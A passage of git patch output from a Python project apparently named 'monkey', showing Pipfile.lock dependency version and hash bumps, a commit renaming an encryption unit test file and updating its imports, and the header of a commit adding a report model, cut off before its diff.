"sha256:a00cf305f07b26c351d8d4e1af84ad7501eca8a342dedf24a7acb0e7b7406e14", + "sha256:a305600e7a6b7b855cd798e00278161b681ad6e9b7eca94c721d5f588ab212af", + "sha256:cd65b60cfe004790c795cc35f272e41a3df4631e2fb6b35aa7ac6ef2859d554e", + "sha256:d2a6e5ef66503da51d2110edf6c403dc6b494cc0082f85db12f54e9c5d4c3ec5", + "sha256:d9ec0e67a14f9d1d48dd87a2531009a9b251c02ea42851c060b25c782516ff06", + "sha256:f44d141b8c4ea5eb4dbc9b3ad992d45580c1d22bf5e24363f2fbf50c2d7ae8a7" ], "markers": "python_version >= '3.6'", - "version": "==3.4.7" + "version": "==3.4.8" }, "docutils": { "hashes": [ @@ -233,10 +237,11 @@ }, "dpath": { "hashes": [ - "sha256:bea06b5f4ff620a28dfc9848cf4d6b2bfeed34238edeb8ebe815c433b54eb1fa" + "sha256:e7813fd8a9dd0d4c7cd4014533ce955eff712bcb2e8189be79bb893890a9db01", + "sha256:ef74321b01479653c812fee69c53922364614d266a8e804d22058c5c02e5674e" ], "index": "pypi", - "version": "==2.0.1" + "version": "==2.0.5" }, "flask": { "hashes": [ @@ -248,11 +253,11 @@ }, "flask-jwt-extended": { "hashes": [ - "sha256:22b8ffa7587d50aaf65f3009f1d55ef7287da8260eaf4655a5837e33479216c3", - "sha256:26969d931bd959dd6b82b2ac07733b499d52c8967229e70bf4ad5859de6cb3b2" + "sha256:6e2b40d548b9dfc6051740c4552c097ac38e514e500c16c682d9a533d17ca418", + "sha256:80d06d3893089824659c26d0cb261999a12f425a66f09c3685f993065bc47b3a" ], "index": "pypi", - "version": "==4.2.3" + "version": "==4.3.0" }, "flask-pymongo": { "hashes": [ @@ -373,11 +378,11 @@ }, "humanfriendly": { "hashes": [ - "sha256:332da98c24cc150efcc91b5508b19115209272bfdf4b0764a56795932f854271", - "sha256:f7dba53ac7935fd0b4a2fc9a29e316ddd9ea135fb3052d3d0279d10c18ff9c48" + "sha256:1697e1a8a8f550fd43c2865cd84542fc175a61dcb779b6fee18cf6b6ccba1477", + "sha256:6b0b831ce8f15f7300721aa49829fc4e83921a9a301cc7f606be6686a2288ddc" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==9.2" + "version": "==10.0" }, "idna": { "hashes": [ @@ -389,11 +394,11 @@ }, "importlib-metadata": { "hashes": [ - "sha256:7b30a78db2922d78a6f47fb30683156a14f3c6aa5cc23f77cc8967e9ab2d002f", - "sha256:ed5157fef23a4bc4594615a0dd8eba94b2bb36bf2a343fa3d8bb2fa0a62a99d5" + "sha256:b618b6d2d5ffa2f16add5697cf57a46c76a56229b0ed1c438322e4e95645bd15", + "sha256:f284b3e11256ad1e5d03ab86bb2ccd6f5339688ff17a4d797a0fe7df326f23b1" ], "markers": "python_version < '3.8'", - "version": "==4.6.4" + "version": "==4.8.1" }, "ipaddress": { "hashes": [ @@ -537,11 +542,11 @@ }, "more-itertools": { "hashes": [ - "sha256:2cf89ec599962f2ddc4d568a05defc40e0a587fbc10d5989713638864c36be4d", - "sha256:83f0308e05477c68f56ea3a888172c78ed5d5b3c282addb67508e7ba6c8f813a" + "sha256:1debcabeb1df793814859d64a81ad7cb10504c24349368ccf214c664c474f41f", + "sha256:56ddac45541718ba332db05f464bebfb0768110111affd27f66e0051f276fa43" ], "markers": "python_version >= '3.5'", - "version": "==8.8.0" + "version": "==8.10.0" }, "netaddr": { "hashes": [ @@ -588,17 +593,17 @@ }, "pefile": { "hashes": [ - "sha256:ed79b2353daa58421459abf4d685953bde0adf9f6e188944f97ba9795f100246" + "sha256:344a49e40a94e10849f0fe34dddc80f773a12b40675bf2f7be4b8be578bdd94a" ], "markers": "python_version >= '3.6'", - "version": "==2021.5.24" + "version": "==2021.9.3" }, "policyuniverse": { "hashes": [ - "sha256:1d5136329b4c4d33b114f8c781ebb2e306ff9dc6969d106ece2567e312b2dd15", - "sha256:a95adcecd8c5b6aafedbf0094217f9251589a5a350b3db54aa55b6cabc26a7ff" + "sha256:184f854fc716754ff07cd9f601923d1ce30a6826617e7c2b252abebe76746b6d", + "sha256:44145447d473c37ff2776667b5e1018a00c0a493c16a0a489399521b3786a8be" ], - "version": "==1.4.0.20210816" + "version": "==1.4.0.20210819" }, "portend": { "hashes": [ @@ -807,7 +812,7 @@ "sha256:65540c21bfe14405a3a77e4c085ecfce88724743a4ead47c66b84defcf82c32e", "sha256:9ce5fa65b8992dfa373bddc5b6e0864ead8f291c94fbfec05fbd5c836162e67b" ], - "markers": "sys_platform == 'win32'", + "markers": "python_version < '3.8' and sys_platform == 'win32'", "version": "==2.1" }, "pyrsistent": { @@ -931,55 +936,55 @@ }, "simplejson": { "hashes": [ - "sha256:0040b8d823801120719390696a2c910e10024eccf63e7851748fba02bb1c2b0f", - "sha256:007d6c4babace6abe4092cddc2f557cb123e19bdc24c3b6e8319bafc210dae43", - "sha256:02db01370c3c60d09184b297b1ac702daece46eb6005e7fae7fab204dad3f8cc", - "sha256:09e20701a2319f5af3923ca6a83bd183803719823481692123423697c6c63f98", - "sha256:0e44d6f3bf93fcc09a9eefb09ccc7035a811157327c13ae8376a5c89c3540078", - "sha256:0f61981554c2bacbe968e70696c65f03c6c1ec2e50d8ecb2af926fcb18a97b7d", - "sha256:1ea0682aced01a5bbe9bb040b68ae3271c10fde3132542550b6e04921ef1c41b", - "sha256:2397a156bdf2f7e78ebaf2fae0c999cc54b271595e2728c0c2ca89c22f54ba7f", - "sha256:2af85e028714c4b6cb2eb6fc03aa91f39ffd654f2eb2f6f8f860e14aeefa6be1", - "sha256:2da83b371e5d0023f343fba038d677b60006e24aeddb2ddd80513ad808d96e04", - "sha256:2f647e5fe9783e7fe49c6c036102da31dc0db396b4ead6ed785033f2beb982df", - "sha256:302959ee24a4cf0ba91609d3c0878e524e4d65550d6c457b903c09a767e86bfe", - "sha256:31a51d317695a1c214f5aa1405d7970c91ec92f205ac4ef6997f7fd8946cc70f", - "sha256:33bbbaab29b4a15f85b48364fa8bd8a651d4a89d4ceebbc4e0c2ba73f2d07238", - "sha256:3a0175f6e0958a602fbff81777a59f7ea5294c3f657f1e467de586bbdfaa4e5d", - "sha256:45b9d8f725ac81f434759ec75d54884745f31f29960570ac02664438a8567663", - "sha256:530ea1e44065a7bb27135ef49ae581882ab217137b66ec0771e3271fcc0a423e", - "sha256:5c572ed94842440192da2ed4bb61015f9e2d295714d0c1925fe565a138f58520", - "sha256:60a956a896dd6bfa64057d13b3f837fecf0b554fc4c5daf399aa28ddd47912ab", - "sha256:651061490eff527eef5e6d81ee81978a0e3215348d27799f36b39c0012e11606", - "sha256:6b84897e40d3938eb089a5601a79248898c6d21777a25dcc6869b1f8614848bf", - "sha256:70e74bf39efc0199413b50885fc622b01fd892c5d8161af7dda7381233358135", - "sha256:77e1beb769f584a52ef6f5ac414bb50adedfe15ab8149d4e9bfaaa98d149d7b5", - "sha256:7b5c5e1004ebc2cf3cf0b9ed2d0b4987e459d2c6d4b4887926b875e72938b7e8", - "sha256:7bff90dff74c5ebac682b50f590e3535f1256ed9be8ff38f19a59c40d7998320", - "sha256:80dd583a1c6a02fd5d735195a7e04b21f3d9ac51205065a0d9e859a23e859942", - "sha256:819a7a369628511e129098d0f99e0a2a6702c0aba395d52ef06332d2463031ab", - "sha256:8a60cb29a9dcbb0dffbf3dd460d45b19e8de9bdb2bb26221a762a1ddf310597f", - "sha256:92d2f0c92174fc91bc36806e14717e70d8f5e63374d4e7c30d31d0bb510b3b33", - "sha256:93a23b0fdeefddb41bd382a59d3cb7b7c4c8b1f14052c821575856e2dc828ccf", - "sha256:9b2f7cfe67bc98b9123984520df014e7e9f4ed93b65ee0472af3e1230e967cb4", - "sha256:9dff1ffa871c2fc31aebf7dfe942dff20858823dc1bbc59e9797c85bf0b1a5e5", - "sha256:9e5f0580b60fda8d2ea930424ef23180599e119bf3b4c7518b0668494bc96e58", - "sha256:a6418959866bd14d49444dd5b9e65914d5cc1438dbdc25cdf968bd927849c36e", - "sha256:c22beb7c6c89343490ac9ad0c1360c4092f97efb2393c007d8a767b7160c8939", - "sha256:c452413cb3c9a39f52156bf21c9020ea7540bab323dafd0db7abeac2c12940f3", - "sha256:c4ce22af9c884803498432cbe2da70ec276ead17150fbaad28264e1342330592", - "sha256:cca54a1ea98b579b25d39154d353c4d4dbb4622217a49cceec79151005943133", - "sha256:d479f2d5cd4e3be25296f151cd912c8712ed8084d1be8ad2f999cba09b8d81df", - "sha256:d7132977504a16c63ced62926fdef5a7d6b92addcf912b44b66a8abf3ddccf81", - "sha256:da2b9425e12835500eab4e4eb304ea832a4c7baad0546f8eb4a1958515793afb", - "sha256:dbe07d4039f55323483cc881cc95e5e2cf589b0daccb69118a048c328e2d7ecd", - "sha256:dc65e10aca9e24e975106ebd442059823ceb80babeaccd968290b5a59086bb08", - "sha256:e2fb03cd1ec443aaecd13d42970243795df39817b93aadfc484ee0013632eb2d", - "sha256:ed967cac20cd84ad811ba5a66021fbb87dd208b5bea94f8871876e1afbd2742a", - "sha256:fdaa9e8576c529bdd714df5a1c08c703e6d3bb34660c51a32197a7ca83acb2df" + "sha256:065230b9659ac38c8021fa512802562d122afb0cf8d4b89e257014dcddb5730a", + "sha256:07707ba69324eaf58f0c6f59d289acc3e0ed9ec528dae5b0d4219c0d6da27dc5", + "sha256:10defa88dd10a0a4763f16c1b5504e96ae6dc68953cfe5fc572b4a8fcaf9409b", + "sha256:140eb58809f24d843736edb8080b220417e22c82ac07a3dfa473f57e78216b5f", + "sha256:188f2c78a8ac1eb7a70a4b2b7b9ad11f52181044957bf981fb3e399c719e30ee", + "sha256:1c2688365743b0f190392e674af5e313ebe9d621813d15f9332e874b7c1f2d04", + "sha256:24e413bd845bd17d4d72063d64e053898543fb7abc81afeae13e5c43cef9c171", + "sha256:2b59acd09b02da97728d0bae8ff48876d7efcbbb08e569c55e2d0c2e018324f5", + "sha256:2df15814529a4625ea6f7b354a083609b3944c269b954ece0d0e7455872e1b2a", + "sha256:352c11582aa1e49a2f0f7f7d8fd5ec5311da890d1354287e83c63ab6af857cf5", + "sha256:36b08b886027eac67e7a0e822e3a5bf419429efad7612e69501669d6252a21f2", + "sha256:376023f51edaf7290332dacfb055bc00ce864cb013c0338d0dea48731f37e42f", + "sha256:3ba82f8b421886f4a2311c43fb98faaf36c581976192349fef2a89ed0fcdbdef", + "sha256:3d72aa9e73134dacd049a2d6f9bd219f7be9c004d03d52395831611d66cedb71", + "sha256:40ece8fa730d1a947bff792bcc7824bd02d3ce6105432798e9a04a360c8c07b0", + "sha256:417b7e119d66085dc45bdd563dcb2c575ee10a3b1c492dd3502a029448d4be1c", + "sha256:42b7c7264229860fe879be961877f7466d9f7173bd6427b3ba98144a031d49fb", + "sha256:457d9cfe7ece1571770381edccdad7fc255b12cd7b5b813219441146d4f47595", + "sha256:4a6943816e10028eeed512ea03be52b54ea83108b408d1049b999f58a760089b", + "sha256:5b94df70bd34a3b946c0eb272022fb0f8a9eb27cad76e7f313fedbee2ebe4317", + "sha256:5f5051a13e7d53430a990604b532c9124253c5f348857e2d5106d45fc8533860", + "sha256:5f7f53b1edd4b23fb112b89208377480c0bcee45d43a03ffacf30f3290e0ed85", + "sha256:5fe8c6dcb9e6f7066bdc07d3c410a2fca78c0d0b4e0e72510ffd20a60a20eb8e", + "sha256:71a54815ec0212b0cba23adc1b2a731bdd2df7b9e4432718b2ed20e8aaf7f01a", + "sha256:7332f7b06d42153255f7bfeb10266141c08d48cc1a022a35473c95238ff2aebc", + "sha256:78c6f0ed72b440ebe1892d273c1e5f91e55e6861bea611d3b904e673152a7a4c", + "sha256:7c9b30a2524ae6983b708f12741a31fbc2fb8d6fecd0b6c8584a62fd59f59e09", + "sha256:86fcffc06f1125cb443e2bed812805739d64ceb78597ac3c1b2d439471a09717", + "sha256:87572213965fd8a4fb7a97f837221e01d8fddcfb558363c671b8aa93477fb6a2", + "sha256:8e595de17178dd3bbeb2c5b8ea97536341c63b7278639cb8ee2681a84c0ef037", + "sha256:917f01db71d5e720b731effa3ff4a2c702a1b6dacad9bcdc580d86a018dfc3ca", + "sha256:91cfb43fb91ff6d1e4258be04eee84b51a4ef40a28d899679b9ea2556322fb50", + "sha256:aa86cfdeb118795875855589934013e32895715ec2d9e8eb7a59be3e7e07a7e1", + "sha256:ade09aa3c284d11f39640aebdcbb748e1996f0c60504f8c4a0c5a9fec821e67a", + "sha256:b2a5688606dffbe95e1347a05b77eb90489fe337edde888e23bbb7fd81b0d93b", + "sha256:b92fbc2bc549c5045c8233d954f3260ccf99e0f3ec9edfd2372b74b350917752", + "sha256:c2d5334d935af711f6d6dfeec2d34e071cdf73ec0df8e8bd35ac435b26d8da97", + "sha256:cb0afc3bad49eb89a579103616574a54b523856d20fc539a4f7a513a0a8ba4b2", + "sha256:ce66f730031b9b3683b2fc6ad4160a18db86557c004c3d490a29bf8d450d7ab9", + "sha256:e29b9cea4216ec130df85d8c36efb9985fda1c9039e4706fb30e0fb6a67602ff", + "sha256:e2cc4b68e59319e3de778325e34fbff487bfdb2225530e89995402989898d681", + "sha256:e90d2e219c3dce1500dda95f5b893c293c4d53c4e330c968afbd4e7a90ff4a5b", + "sha256:f13c48cc4363829bdfecc0c181b6ddf28008931de54908a492dc8ccd0066cd60", + "sha256:f550730d18edec4ff9d4252784b62adfe885d4542946b6d5a54c8a6521b56afd", + "sha256:fa843ee0d34c7193f5a816e79df8142faff851549cab31e84b526f04878ac778", + "sha256:fe1c33f78d2060719d52ea9459d97d7ae3a5b707ec02548575c4fbed1d1d345b" ], "markers": "python_version >= '2.5' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==3.17.4" + "version": "==3.17.5" }, "six": { "hashes": [ @@ -1027,12 +1032,12 @@ }, "typing-extensions": { "hashes": [ - "sha256:0ac0f89795dd19de6b97debb0c6af1c70987fd80a2d62d1958f7e56fcc31b497", - "sha256:50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342", - "sha256:779383f6086d90c99ae41cf0ff39aac8a7937a9283ce0a414e5dd782f4c94a84" + "sha256:49f75d16ff11f1cd258e1b988ccff82a3ca5570217d7ad8c5f48205dd99a677e", + "sha256:d8226d10bc02a29bcc81df19a26e56a9647f8b0a6d4a83924139f4a8b01f17b7", + "sha256:f1d25edafde516b146ecd0613dabcc61409817af4766fbbcfb8d1ad4ec441a34" ], "markers": "python_version < '3.8'", - "version": "==3.10.0.0" + "version": "==3.10.0.2" }, "urllib3": { "hashes": [ @@ -1184,11 +1189,11 @@ }, "charset-normalizer": { "hashes": [ - "sha256:0c8911edd15d19223366a194a513099a302055a962bca2cec0f54b8b63175d8b", - "sha256:f23667ebe1084be45f6ae0538e4a5a865206544097e4e8bbcacf42cd02a348f3" + "sha256:5d209c0a931f215cee683b6445e2d77677e7e75e159f78def0db09d68fafcaa6", + "sha256:5ec46d183433dcbd0ab716f2d7f29d8dee50505b3fdb40c6b985c7c4f5a3591f" ], "markers": "python_version >= '3'", - "version": "==2.0.4" + "version": "==2.0.6" }, "click": { "hashes": [ @@ -1303,11 +1308,11 @@ }, "importlib-metadata": { "hashes": [ - "sha256:7b30a78db2922d78a6f47fb30683156a14f3c6aa5cc23f77cc8967e9ab2d002f", - "sha256:ed5157fef23a4bc4594615a0dd8eba94b2bb36bf2a343fa3d8bb2fa0a62a99d5" + "sha256:b618b6d2d5ffa2f16add5697cf57a46c76a56229b0ed1c438322e4e95645bd15", + "sha256:f284b3e11256ad1e5d03ab86bb2ccd6f5339688ff17a4d797a0fe7df326f23b1" ], "markers": "python_version < '3.8'", - "version": "==4.6.4" + "version": "==4.8.1" }, "iniconfig": { "hashes": [ @@ -1363,19 +1368,19 @@ }, "platformdirs": { "hashes": [ - "sha256:4666d822218db6a262bdfdc9c39d21f23b4cfdb08af331a81e92751daf6c866c", - "sha256:632daad3ab546bd8e6af0537d09805cec458dce201bccfe23012df73332e181e" + "sha256:15b056538719b1c94bdaccb29e5f81879c7f7f0f4a153f46086d155dffcd4f0f", + "sha256:8003ac87717ae2c7ee1ea5a84a1a61e87f3fbd16eb5aadba194ea30a9019f648" ], "markers": "python_version >= '3.6'", - "version": "==2.2.0" + "version": "==2.3.0" }, "pluggy": { "hashes": [ - "sha256:15b2acde666561e1298d71b523007ed7364de07029219b604cf808bfa1c765b0", - "sha256:966c145cd83c96502c3c3868f50408687b38434af77734af1e9ca461a4081d2d" + "sha256:4224373bacce55f955a878bf9cfa763c1e360858e330072059e10bad68531159", + "sha256:74134bbf457f031a36d68416e1509f34bd5ccc019f0bcc952c7b909d06b37bd3" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==0.13.1" + "markers": "python_version >= '3.6'", + "version": "==1.0.0" }, "py": { "hashes": [ @@ -1411,11 +1416,11 @@ }, "pytest": { "hashes": [ - "sha256:50bcad0a0b9c5a72c8e4e7c9855a3ad496ca6a881a3641b4260605450772c54b", - "sha256:91ef2131a9bd6be8f76f1f08eac5c5317221d6ad1e143ae03894b862e8976890" + "sha256:131b36680866a76e6781d13f101efb86cf674ebb9762eb70d3082b6f29889e89", + "sha256:7310f8d27bc79ced999e760ca304d69f6ba6c6649c0b60fb0e04a4a77cacc134" ], "index": "pypi", - "version": "==6.2.4" + "version": "==6.2.5" }, "pytest-cov": { "hashes": [ @@ -1427,49 +1432,49 @@ }, "regex": { "hashes": [ - "sha256:03840a07a402576b8e3a6261f17eb88abd653ad4e18ec46ef10c9a63f8c99ebd", - "sha256:06ba444bbf7ede3890a912bd4904bb65bf0da8f0d8808b90545481362c978642", - "sha256:1f9974826aeeda32a76648fc677e3125ade379869a84aa964b683984a2dea9f1", - "sha256:330836ad89ff0be756b58758878409f591d4737b6a8cef26a162e2a4961c3321", - "sha256:38600fd58c2996829480de7d034fb2d3a0307110e44dae80b6b4f9b3d2eea529", - "sha256:3a195e26df1fbb40ebee75865f9b64ba692a5824ecb91c078cc665b01f7a9a36", - "sha256:41acdd6d64cd56f857e271009966c2ffcbd07ec9149ca91f71088574eaa4278a", - "sha256:45f97ade892ace20252e5ccecdd7515c7df5feeb42c3d2a8b8c55920c3551c30", - "sha256:4b0c211c55d4aac4309c3209833c803fada3fc21cdf7b74abedda42a0c9dc3ce", - "sha256:5d5209c3ba25864b1a57461526ebde31483db295fc6195fdfc4f8355e10f7376", - "sha256:615fb5a524cffc91ab4490b69e10ae76c1ccbfa3383ea2fad72e54a85c7d47dd", - "sha256:61e734c2bcb3742c3f454dfa930ea60ea08f56fd1a0eb52d8cb189a2f6be9586", - "sha256:640ccca4d0a6fcc6590f005ecd7b16c3d8f5d52174e4854f96b16f34c39d6cb7", - "sha256:6dbd51c3db300ce9d3171f4106da18fe49e7045232630fe3d4c6e37cb2b39ab9", - "sha256:71a904da8c9c02aee581f4452a5a988c3003207cb8033db426f29e5b2c0b7aea", - "sha256:8021dee64899f993f4b5cca323aae65aabc01a546ed44356a0965e29d7893c94", - "sha256:8b8d551f1bd60b3e1c59ff55b9e8d74607a5308f66e2916948cafd13480b44a3", - "sha256:93f9f720081d97acee38a411e861d4ce84cbc8ea5319bc1f8e38c972c47af49f", - "sha256:96f0c79a70642dfdf7e6a018ebcbea7ea5205e27d8e019cad442d2acfc9af267", - "sha256:9966337353e436e6ba652814b0a957a517feb492a98b8f9d3b6ba76d22301dcc", - "sha256:a34ba9e39f8269fd66ab4f7a802794ffea6d6ac500568ec05b327a862c21ce23", - "sha256:a49f85f0a099a5755d0a2cc6fc337e3cb945ad6390ec892332c691ab0a045882", - "sha256:a795829dc522227265d72b25d6ee6f6d41eb2105c15912c230097c8f5bfdbcdc", - "sha256:a89ca4105f8099de349d139d1090bad387fe2b208b717b288699ca26f179acbe", - "sha256:ac95101736239260189f426b1e361dc1b704513963357dc474beb0f39f5b7759", - "sha256:ae87ab669431f611c56e581679db33b9a467f87d7bf197ac384e71e4956b4456", - "sha256:b091dcfee169ad8de21b61eb2c3a75f9f0f859f851f64fdaf9320759a3244239", - "sha256:b511c6009d50d5c0dd0bab85ed25bc8ad6b6f5611de3a63a59786207e82824bb", - "sha256:b79dc2b2e313565416c1e62807c7c25c67a6ff0a0f8d83a318df464555b65948", - "sha256:bca14dfcfd9aae06d7d8d7e105539bd77d39d06caaae57a1ce945670bae744e0", - "sha256:c835c30f3af5c63a80917b72115e1defb83de99c73bc727bddd979a3b449e183", - "sha256:ccd721f1d4fc42b541b633d6e339018a08dd0290dc67269df79552843a06ca92", - "sha256:d6c2b1d78ceceb6741d703508cd0e9197b34f6bf6864dab30f940f8886e04ade", - "sha256:d6ec4ae13760ceda023b2e5ef1f9bc0b21e4b0830458db143794a117fdbdc044", - "sha256:d8b623fc429a38a881ab2d9a56ef30e8ea20c72a891c193f5ebbddc016e083ee", - "sha256:ea9753d64cba6f226947c318a923dadaf1e21cd8db02f71652405263daa1f033", - "sha256:ebbceefbffae118ab954d3cd6bf718f5790db66152f95202ebc231d58ad4e2c2", - "sha256:ecb6e7c45f9cd199c10ec35262b53b2247fb9a408803ed00ee5bb2b54aa626f5", - "sha256:ef9326c64349e2d718373415814e754183057ebc092261387a2c2f732d9172b2", - "sha256:f93a9d8804f4cec9da6c26c8cfae2c777028b4fdd9f49de0302e26e00bb86504", - "sha256:faf08b0341828f6a29b8f7dd94d5cf8cc7c39bfc3e67b78514c54b494b66915a" + "sha256:04f6b9749e335bb0d2f68c707f23bb1773c3fb6ecd10edf0f04df12a8920d468", + "sha256:08d74bfaa4c7731b8dac0a992c63673a2782758f7cfad34cf9c1b9184f911354", + "sha256:0fc1f8f06977c2d4f5e3d3f0d4a08089be783973fc6b6e278bde01f0544ff308", + "sha256:121f4b3185feaade3f85f70294aef3f777199e9b5c0c0245c774ae884b110a2d", + "sha256:1413b5022ed6ac0d504ba425ef02549a57d0f4276de58e3ab7e82437892704fc", + "sha256:1743345e30917e8c574f273f51679c294effba6ad372db1967852f12c76759d8", + "sha256:28fc475f560d8f67cc8767b94db4c9440210f6958495aeae70fac8faec631797", + "sha256:31a99a4796bf5aefc8351e98507b09e1b09115574f7c9dbb9cf2111f7220d2e2", + "sha256:328a1fad67445550b982caa2a2a850da5989fd6595e858f02d04636e7f8b0b13", + "sha256:473858730ef6d6ff7f7d5f19452184cd0caa062a20047f6d6f3e135a4648865d", + "sha256:4cde065ab33bcaab774d84096fae266d9301d1a2f5519d7bd58fc55274afbf7a", + "sha256:5f6a808044faae658f546dd5f525e921de9fa409de7a5570865467f03a626fc0", + "sha256:610b690b406653c84b7cb6091facb3033500ee81089867ee7d59e675f9ca2b73", + "sha256:66256b6391c057305e5ae9209941ef63c33a476b73772ca967d4a2df70520ec1", + "sha256:6eebf512aa90751d5ef6a7c2ac9d60113f32e86e5687326a50d7686e309f66ed", + "sha256:79aef6b5cd41feff359acaf98e040844613ff5298d0d19c455b3d9ae0bc8c35a", + "sha256:808ee5834e06f57978da3e003ad9d6292de69d2bf6263662a1a8ae30788e080b", + "sha256:8e44769068d33e0ea6ccdf4b84d80c5afffe5207aa4d1881a629cf0ef3ec398f", + "sha256:999ad08220467b6ad4bd3dd34e65329dd5d0df9b31e47106105e407954965256", + "sha256:9b006628fe43aa69259ec04ca258d88ed19b64791693df59c422b607b6ece8bb", + "sha256:9d05ad5367c90814099000442b2125535e9d77581855b9bee8780f1b41f2b1a2", + "sha256:a577a21de2ef8059b58f79ff76a4da81c45a75fe0bfb09bc8b7bb4293fa18983", + "sha256:a617593aeacc7a691cc4af4a4410031654f2909053bd8c8e7db837f179a630eb", + "sha256:abb48494d88e8a82601af905143e0de838c776c1241d92021e9256d5515b3645", + "sha256:ac88856a8cbccfc14f1b2d0b829af354cc1743cb375e7f04251ae73b2af6adf8", + "sha256:b4c220a1fe0d2c622493b0a1fd48f8f991998fb447d3cd368033a4b86cf1127a", + "sha256:b844fb09bd9936ed158ff9df0ab601e2045b316b17aa8b931857365ea8586906", + "sha256:bdc178caebd0f338d57ae445ef8e9b737ddf8fbc3ea187603f65aec5b041248f", + "sha256:c206587c83e795d417ed3adc8453a791f6d36b67c81416676cad053b4104152c", + "sha256:c61dcc1cf9fd165127a2853e2c31eb4fb961a4f26b394ac9fe5669c7a6592892", + "sha256:c7cb4c512d2d3b0870e00fbbac2f291d4b4bf2634d59a31176a87afe2777c6f0", + "sha256:d4a332404baa6665b54e5d283b4262f41f2103c255897084ec8f5487ce7b9e8e", + "sha256:d5111d4c843d80202e62b4fdbb4920db1dcee4f9366d6b03294f45ed7b18b42e", + "sha256:e1e8406b895aba6caa63d9fd1b6b1700d7e4825f78ccb1e5260551d168db38ed", + "sha256:e8690ed94481f219a7a967c118abaf71ccc440f69acd583cab721b90eeedb77c", + "sha256:ed283ab3a01d8b53de3a05bfdf4473ae24e43caee7dcb5584e86f3f3e5ab4374", + "sha256:ed4b50355b066796dacdd1cf538f2ce57275d001838f9b132fab80b75e8c84dd", + "sha256:ee329d0387b5b41a5dddbb6243a21cb7896587a651bebb957e2d2bb8b63c0791", + "sha256:f3bf1bc02bc421047bfec3343729c4bbbea42605bcfd6d6bfe2c07ade8b12d2a", + "sha256:f585cbbeecb35f35609edccb95efd95a3e35824cd7752b586503f7e6087303f1", + "sha256:f60667673ff9c249709160529ab39667d1ae9fd38634e006bec95611f632e759" ], - "version": "==2021.8.21" + "version": "==2021.8.28" }, "requests": { "hashes": [ @@ -1546,12 +1551,12 @@ }, "typing-extensions": { "hashes": [ - "sha256:0ac0f89795dd19de6b97debb0c6af1c70987fd80a2d62d1958f7e56fcc31b497", - "sha256:50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342", - "sha256:779383f6086d90c99ae41cf0ff39aac8a7937a9283ce0a414e5dd782f4c94a84" + "sha256:49f75d16ff11f1cd258e1b988ccff82a3ca5570217d7ad8c5f48205dd99a677e", + "sha256:d8226d10bc02a29bcc81df19a26e56a9647f8b0a6d4a83924139f4a8b01f17b7", + "sha256:f1d25edafde516b146ecd0613dabcc61409817af4766fbbcfb8d1ad4ec441a34" ], "markers": "python_version < '3.8'", - "version": "==3.10.0.0" + "version": "==3.10.0.2" }, "urllib3": { "hashes": [ @@ -1563,11 +1568,11 @@ }, "virtualenv": { "hashes": [ - "sha256:9ef4e8ee4710826e98ff3075c9a4739e2cb1040de6a2a8d35db0055840dc96a0", - "sha256:e4670891b3a03eb071748c569a87cceaefbf643c5bac46d996c5a45c34aa0f06" + "sha256:4da4ac43888e97de9cf4fdd870f48ed864bbfd133d2c46cbdec941fed4a25aef", + "sha256:a4b987ec31c3c9996cf1bc865332f967fe4a0512c41b39652d6224f696e69da5" ], "index": "pypi", - "version": "==20.7.2" + "version": "==20.8.0" }, "vulture": { "hashes": [ From cf7b94613b199f693c8bac89022b2dc11e7b62f9 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 21 Sep 2021 10:25:48 +0300 Subject: [PATCH 181/454] Rename test_config_encryption.py to test_encryption.py This change is done because the code being tested is in encryption.py, not in config_encryption.py --- monkey/tests/unit_tests/monkey_island/cc/conftest.py | 2 +- .../monkey_island/cc/resources/test_configuration_import.py | 2 +- .../utils/{test_config_encryption.py => test_encryption.py} | 0 3 files changed, 2 insertions(+), 2 deletions(-) rename monkey/tests/unit_tests/monkey_island/cc/services/utils/{test_config_encryption.py => test_encryption.py} (100%) diff --git a/monkey/tests/unit_tests/monkey_island/cc/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/conftest.py index c89c4c294..c14524411 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/conftest.py @@ -5,7 +5,7 @@ import os import pytest from tests.unit_tests.monkey_island.cc.mongomock_fixtures import * # noqa: F401,F403,E402 -from tests.unit_tests.monkey_island.cc.services.utils.test_config_encryption import ( +from tests.unit_tests.monkey_island.cc.services.utils.test_encryption import ( MONKEY_CONFIGS_DIR_PATH, STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME, ) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py index e9672ebdf..989994cb6 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py @@ -2,7 +2,7 @@ import pytest from tests.unit_tests.monkey_island.cc.services.utils.ciphertexts_for_encryption_test import ( MALFORMED_CIPHER_TEXT_CORRUPTED, ) -from tests.unit_tests.monkey_island.cc.services.utils.test_config_encryption import PASSWORD +from tests.unit_tests.monkey_island.cc.services.utils.test_encryption import PASSWORD from common.utils.exceptions import InvalidConfigurationError from monkey_island.cc.resources.configuration_import import ConfigurationImport diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_encryption.py similarity index 100% rename from monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py rename to monkey/tests/unit_tests/monkey_island/cc/services/utils/test_encryption.py From c7e91c5784c8a54eccc4827d8fa6e0d364febf14 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 21 Sep 2021 10:37:57 +0300 Subject: [PATCH 182/454] Add report model and a unit test for it's encryption --- monkey/monkey_island/cc/models/__init__.py | 1 + monkey/monkey_island/cc/models/report.py | 31 ++++++++++++++++++ .../cc/models/test_report_model.py | 32 +++++++++++++++++++ vulture_allowlist.py | 8 ++++- 4 files changed, 71 insertions(+), 1 deletion(-) create mode 100644 monkey/monkey_island/cc/models/report.py create mode 100644 monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py diff --git 